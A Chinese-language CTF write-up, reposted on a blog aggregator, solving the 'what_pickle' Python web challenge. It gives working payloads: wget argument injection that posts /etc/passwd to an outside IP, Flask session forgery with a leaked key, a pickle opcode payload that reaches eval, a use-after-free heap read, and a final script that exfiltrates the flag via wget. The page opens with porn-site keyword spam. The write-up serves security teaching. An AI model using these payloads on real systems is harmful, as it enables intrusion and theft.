日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > python >内容正文

python

巅峰极客2021 what_pickle——一道综合性的python web

發布時間:2025/3/21 python 28 豆豆
生活随笔 收集整理的這篇文章主要介紹了 巅峰极客2021 what_pickle——一道综合性的python web 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前言

這題好像是最少人做出的web,考察的知識點比較多,綜合性比較強,感覺挺有意思的。很多人都是卡在某個知識點,尤其是最后讀flag階段。總的來說,由于這題涉及到各種很經典的python安全的知識點,挺適合剛接觸python安全的初學者學習。

總的來說,流程是這樣的。

debug導致部分源碼泄露->wget參數注入讀源碼->session偽造->pickle反序列化->利用proc目錄/構造uaf讀flag

分析

信息搜集一波。得到如下幾個目錄。

[01:33:40] 200 - 2KB - /console [01:33:50] 500 - 14KB - /home [01:33:51] 500 - 15KB - /images [01:33:52] 200 - 1KB - /index [01:33:56] 405 - 178B - /login

值得注意的是home目錄和images目錄的http狀態碼為500

訪問/home和images發現是python3的flask框架,且開了debug模式。那么想到,如果有任意讀文件漏洞,可以打flask的pin。所以可以多關注一下任意讀。

信息泄露

由于開了debug模式,所以有部分源碼泄露。

在訪問http://192.168.37.140/images 的時候,可以發現

這段代碼用wget去獲取圖片,并且還有可以控制的參數。獲取到argv參數后,把argv參數作為一個list,其中,給每個argv參數前都添加了-或者—,以防止惡意url的注入。且subprocess.run時,command里面每一個元素都是單獨作為一個參數,無法像bash shell那樣做命令注入。

wget參數注入讀源碼

雖然看似不行,還是有方法的,wget是可以開啟代理的。如果開啟代理,那么

具體來說有三種開啟代理的方式:

  • 環境變量中設置http_proxy
  • 在~/.wgetrc里設置http_proxy
  • 使用-e參數執行wgetrc格式的命令
  • 這里我們可以使用-e http_proxy=http://xxx 來將其指向我們的服務器上。

    更多參數的詳細信息可以參考

    Wgetrc Commands (GNU Wget 1.21.1-dirty Manual)

    除此之外,還可以用—post-file來傳輸文件傳輸文件。因此,任意文件讀的payload就構建好了。如下

    192.168.37.140/images?image=index.html&argv=—post-file=/etc/passwd&argv=-e http_proxy=http://1.116.123.136:1234


    接下來讀源代碼。

    /app/app.py

    from flask import Flask, request, session, render_template, url_for,redirect import pickle import io import sys import base64 import random import subprocess from ctypes import cdll from config import SECRET_KEY, notadmin,usercdll.LoadLibrary("./readflag.so")app = Flask(__name__) app.config.update(dict(SECRET_KEY=SECRET_KEY, ))class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()@app.route('/') @app.route('/index') def index():if session.get('username', None):return redirect(url_for('home'))else:return render_template('index.html')@app.route('/login', methods=["POST"]) def login():name = request.form.get('username', '')data = request.form.get('data', 'test')User = user(name,data)session["info"]=base64.b64encode(pickle.dumps(User))return redirect(url_for('home'))@app.route('/home') def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)@app.route('/images') def images():command=["wget"]argv=request.args.getlist('argv')true_argv=[x if x.startswith("-") else '--'+x for x in argv]image=request.args['image']command.extend(true_argv)command.extend(["-q","-O","-"])command.append("http://127.0.0.1:8080/"+image)image_data = subprocess.run(command,stdout=subprocess.PIPE,stderr=subprocess.PIPE)return image_data.stdoutif __name__ == '__main__':app.run(host='0.0.0.0', debug=True, port=80)

    /app/config.py

    SECRET_KEY="On_You_fffffinddddd_thi3_kkkkkkeeEEy"notadmin={"admin":"no"}class user():def __init__(self, username, data):self.username = usernameself.data = datadef backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)

    flask debug pin?

    前面說了,開啟了debug模式,那么配合任意文件讀可以打pin,直接執行python命令。

    flask的debug模式提供了一個web上的命令行接口。而這個接口是需要pin碼才能訪問的。

    這個pin碼的生成與六個因素有關,其中最重要的是2個因素,一個是網卡地址,這個可以通過執行uuid.getnode()或者讀/sys/class/net/eth0/address來獲得。另一個 是機器id,可以通過執行get_machine_id()或者讀/etc/machine-id來獲得。

    具體exp可以參考https://xz.aliyun.com/t/2553

    這里我本地環境下可以成功生成pin,但是遠程環境沒有成功。因此嘗試下一條思路。

    session偽造觸發pickle反序列化rce

    關注到有SECRET_KEY=“On_You_fffffinddddd_thi3_kkkkkkeeEEy”

    而flask的session存在客戶端,用base64+簽名來防篡改。但是獲取到簽名算法的key后,我們有能力偽造flask session。

    在home路由處觸發session的pickle反序列化,而pickle反序列化是可以執行pickle的opcode的。

    @app.route('/home') def home():info = session["info"]User = restricted_loads(base64.b64decode(info))Jpg_id = random.randint(1,5)return render_template('home.html',id = str(Jpg_id), info = User.data)

    關于pickle反序列化執行可以參考

    https://xz.aliyun.com/t/7436

    class RestrictedUnpickler(pickle.Unpickler):def find_class(self, module, name):if module in ['config'] and "__" not in name:return getattr(sys.modules[module], name)raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))def restricted_loads(s):"""Helper function analogous to pickle.loads()."""return RestrictedUnpickler(io.BytesIO(s)).load()

    這里限制了加載的模塊只能為config里的,名字不能有__。但是可以通過config的backdoor函數,繞過。

    def backdoor(cmd):if isinstance(cmd,list) and notadmin["admin"]=="yes":s=''.join(cmd)eval(s)

    可以看到,要使用backdoor函數必須使得notadmin[“admin”]==“yes”

    而在config.py中notadmin={“admin”:“no”},因此需要通過pickle opcode把這個全局變量覆蓋成yes。

    讀flag

    app.py里 有一個cdll.LoadLibrary("./readflag.so")

    所以獲取readflag.so,放到ida里反編譯一下。

    可以看到就一個easy()函數。猜測flag文件沒有直接讀取的權限,要通過readflag.so來讀。但是這里看有個問題是,easy函數執行完成后,把flag讀到堆上,但是并沒有返回指針。

    這里有兩種方法讀flag。分別通過/proc目錄和構造uaf的方式來讀取堆上的flag。

    法1:讀proc目錄

    proc是linux偽文件系統,保存有內存信息。其中/proc/self/maps保存當前進程的虛擬內存各segment的映射關系。可以獲取到堆地址的范圍。

    而訪問/proc/self/mem即訪問實際的進程內存。需要注意的是,如果訪問沒有被映射的內存區域則會觸發錯誤,要把文件指針移到對應的區域才能成功訪問。

    具體代碼如下

    from ctypes import cdll a=cdll.LoadLibrary("./readflag.so") a.easy()import re f = open('/proc/self/maps', 'r') vmmap = f.read() print(vmmap) re_obj = re.search(r'(.*)-(.*) rw.*heap', vmmap) heap = re_obj.group(1) heap_end = re_obj.group(2) print(heap) print(heap_end) heap = int('0x'+heap,16) heap_end = int('0x'+heap_end,16) f.close()f = open('/proc/self/mem', 'rb') size = heap_end - heap f.seek(heap) res = f.read(size) res = re.search(b'flag{.*}', res).group() print(res) f.close()

    法2:構造一個uaf來讀flag的內存數據

    由于在堆管理中,為了提高效率會加一個類似于緩沖的機制。可以簡單理解為不會把free的內存馬上放棄掉,而是緩存起來,方便下次再用。利用這一特點可以構造uaf漏洞來讀flag的數據。

  • 申請一個0x64的chunk,也就是后面存flag的那塊chunk被malloc時需要的size。
  • free這塊chunk。free后會這個chunk會放到fastbin或者tcache(glibc較高版本)里面。
  • 調easy()再次malloc申請就會申請到同一塊chunk。再利用uaf漏洞,用之前的懸空指針讀同一塊chunk。
  • import ctypes libc = ctypes.cdll.LoadLibrary('libc.so.6') so1 = ctypes.cdll.LoadLibrary('./readflag.so')malloc = libc.malloc free = libc.free malloc.restype = ctypes.c_void_p ptr = ctypes.cast(malloc(0x64), ctypes.c_char_p) free(ptr) so1.easy() print(ptr.value)

    opcode構造

    知道pickle opcode工作模式后可以利用大師傅寫的一個工具

    https://github.com/eddieivan01/pker

    最終exp

    通過wget 把flag信息傳送到服務器上。這里利用的是uaf的方法讀flag。proc讀flag的方法構造exp過程完全一樣。

    from base64 import b64encode from flask import Flask, request, session from flask.sessions import SecureCookieSessionInterface import pickle import requestsopc = b'cconfig\nnotadmin\np0\n0cconfig\nbackdoor\np1\n0g0\nS\'admin\'\nS\'yes\'\nsS\'exec("import ctypes;libc = ctypes.cdll.LoadLibrary(\\\'libc.so.6\\\');so1 = ctypes.cdll.LoadLibrary(\\\'./readflag.so\\\');malloc = libc.malloc;free = libc.free;malloc.restype = ctypes.c_void_p;a = ctypes.cast(malloc(0x64), ctypes.c_char_p);free(a);so1.easy();print(a.value);res= a.value ;import os;os.system(\\\'wget http://1.116.123.136:1234/?\\\'+str(res))")\'\np3\n0g1\n((g3\nltR.'app = Flask(__name__) app.config['SECRET_KEY'] = "On_You_fffffinddddd_thi3_kkkkkkeeEEy" serializer = SecureCookieSessionInterface().get_signing_serializer(app) opc = b64encode(opc) sess = {'info': opc} cookie = serializer.dumps(sess) print(cookie) requests.get("http://192.168.37.140/home", cookies={"session":cookie})

    可以看到get參數就是flag{dddd}

    總結

    可以看到這個題目涉及到的python安全的點很多,非常適合通過這題來延伸學習各個具體的內容。另外,在做題過程中,經常會碰到各種坑,有時候踩坑也可以換一種思路。

    最后

    網絡安全大師卓越培養計劃,想升職跳槽加薪的來學完可以打護網、CTF比賽,找網絡安全工作;

    【學習資料】

    總結

    以上是生活随笔為你收集整理的巅峰极客2021 what_pickle——一道综合性的python web的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。